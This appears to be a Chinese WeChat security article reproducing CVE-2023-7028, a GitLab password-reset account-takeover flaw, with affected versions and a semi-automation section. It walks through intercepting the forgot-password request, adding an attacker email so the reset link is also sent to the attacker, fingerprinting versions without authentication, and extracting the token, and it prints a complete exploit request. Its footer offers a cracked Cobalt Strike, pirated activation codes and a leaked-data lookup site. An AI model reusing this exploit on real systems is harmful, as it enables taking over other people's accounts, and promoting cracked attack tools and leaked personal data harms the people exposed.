查看原文
其他

GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)

The following article is from Evilc0de 安全团队 Author evilc0de

漏洞描述

2024年1月11日,Gitlab 官方披露 CVE-2023-7028,GitLab 任意用户密码重置漏洞,官方评级严重。攻击者可利用忘记密码功能,构造恶意请求获取密码重置链接从而重置密码。官方已发布安全更新,建议升级至最新版本,若无法升级,建议利用安全组功能设置 Gitlab 仅对可信地址开放。

漏洞利用条件


1、需获取系统已有用户注册邮箱地址

2、满足影响版本

16.1 <=GitLab CE<16.1.6
16.2 <=GitLab CE<16.2.8
16.3 <=GitLab CE<16.3.6
16.4 <=GitLab CE<16.4.4
16.5 <=GitLab CE<16.5.6
16.6 <=GitLab CE<16.6.4
16.7 <=GitLab CE<16.7.2
16.1 <=GitLab EE<16.1.6
16.2 <=GitLab EE<16.2.8
16.3 <=GitLab EE<16.3.6
16.4 <=GitLab EE<16.4.4
16.5 <=GitLab EE<16.5.6
16.6 <=GitLab EE<16.6.4
16.7 <=GitLab EE<16.7.2

复现过程

这里被找回邮箱为个人注册邮箱地址,真实环境中需先获取目标邮箱地址

访问找回密码页面:/users/password/new

填写被找回邮箱地址,然后点击抓包

修改请求包为:user[email][]=目标邮箱地址&user[email][]=攻击者邮箱地址

成功复现

其实这里看到收件人邮箱已经变为两个了

半自动化

关于自动化主要有两个坑点,第一是如何获取版本号,第二是在找回密码的阶段会需要有一个uauthenticity_token

下面针对上面2点提出解决办法:

1、获取版本

公开的一些获取版本的办法大多是需要鉴权的,这里分享一种不需要登录的办法

访问/assets/webpack/manifest.json

获取hash值去GitHub对比版本号
https://github.com/righel/gitlab-version-nse/blob/main/gitlab_hashes.json

可以发现版本是gitlab-ce 16.5.0

对比发现是正确的

2、authenticity_token获取

访问找回密码界面/users/password/new

查看源代码搜索authenticity_token即可

构造http请求包

POST /users/password HTTP/1.1
Host: xx.com
Origin: http://xx.com
Content-Type: application/x-www-form-urlencoded
Referer: http://xx.com/users/password/new8
Cookie: preferred_language=zh_CN; _gitlab_session=e00664e028c369cdd6dff19f6d7b76bf

authenticity_token=vJBEyoTkR10UJNhrFcoJOYftTHaxPj3MHVSJusNt85SyyZ60RajsS2RsgkMetn7hd_k891ZUNCdePjdW5uUW6w&user%5Bemail%5D%5B%5D=目标邮箱地址&user%5Bemail]%5D%5B%5D=攻击者邮箱地址

补充

Reference

https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/#account-takeover-via-password-reset-without-user-interactions


关注公众号后台回复 0001 领取域渗透思维导图,0002 领取VMware 17永久激活码,0003 获取SGK地址,0004 获取在线ChatGPT地址,0005 获取 Windows10渗透集成环境,0006 获取 CobaltStrike 4.9.1破解版


加我微信好友,邀请你进交流群





往期推荐



对某金融App的加解密hook+rpc+绕过SSLPinning抓包

疑似境外黑客组织对CSDN、吾爱破解、bilibili等网站发起DDoS攻击

Fofa新产品 - 绕CDN溯源真实IP!

Cobalt Strike 4.8 正式发布上线!

团队在线Windows进程识别正式内测

突发!微信疑似存在RCE

OpenWrt 迎 20 周年,官方宣布将推出首款路由器

机圈大地震!

JS逆向实战:RPC + Mitmproxy

BeanShell注入内存马

记一次CMS系统通杀0day审计

银狐处置及分析

浅谈安全方向的学习方法

极端容器场景下的远程文件下载思路

记一次校内的XX系统渗透

对某菠菜的渗透测试笔记

APT29利用CVE-2023-38831攻击大使馆

某次以目的为导向的内网渗透-取开发源码

《永结无间》客户端RCE漏洞

发现新恶意团伙"紫狐"!针对finalshell的供应链事件

资源委派 (提权/横向移动)

记一次红队经历

COM接口学习与利用

域渗透之NTLM Relay

Java审计之CMS中的那些反序列化漏洞

KKCMS 1.371 代码审计

D-Link DAP-X1860:远程命令注入

国产之光IDE,自带国产特色VIP功能!

JeecgBoot SSTI以及JDBC RCE 复现

备用号,欢迎关注


继续滑动看下一个

GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)

向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存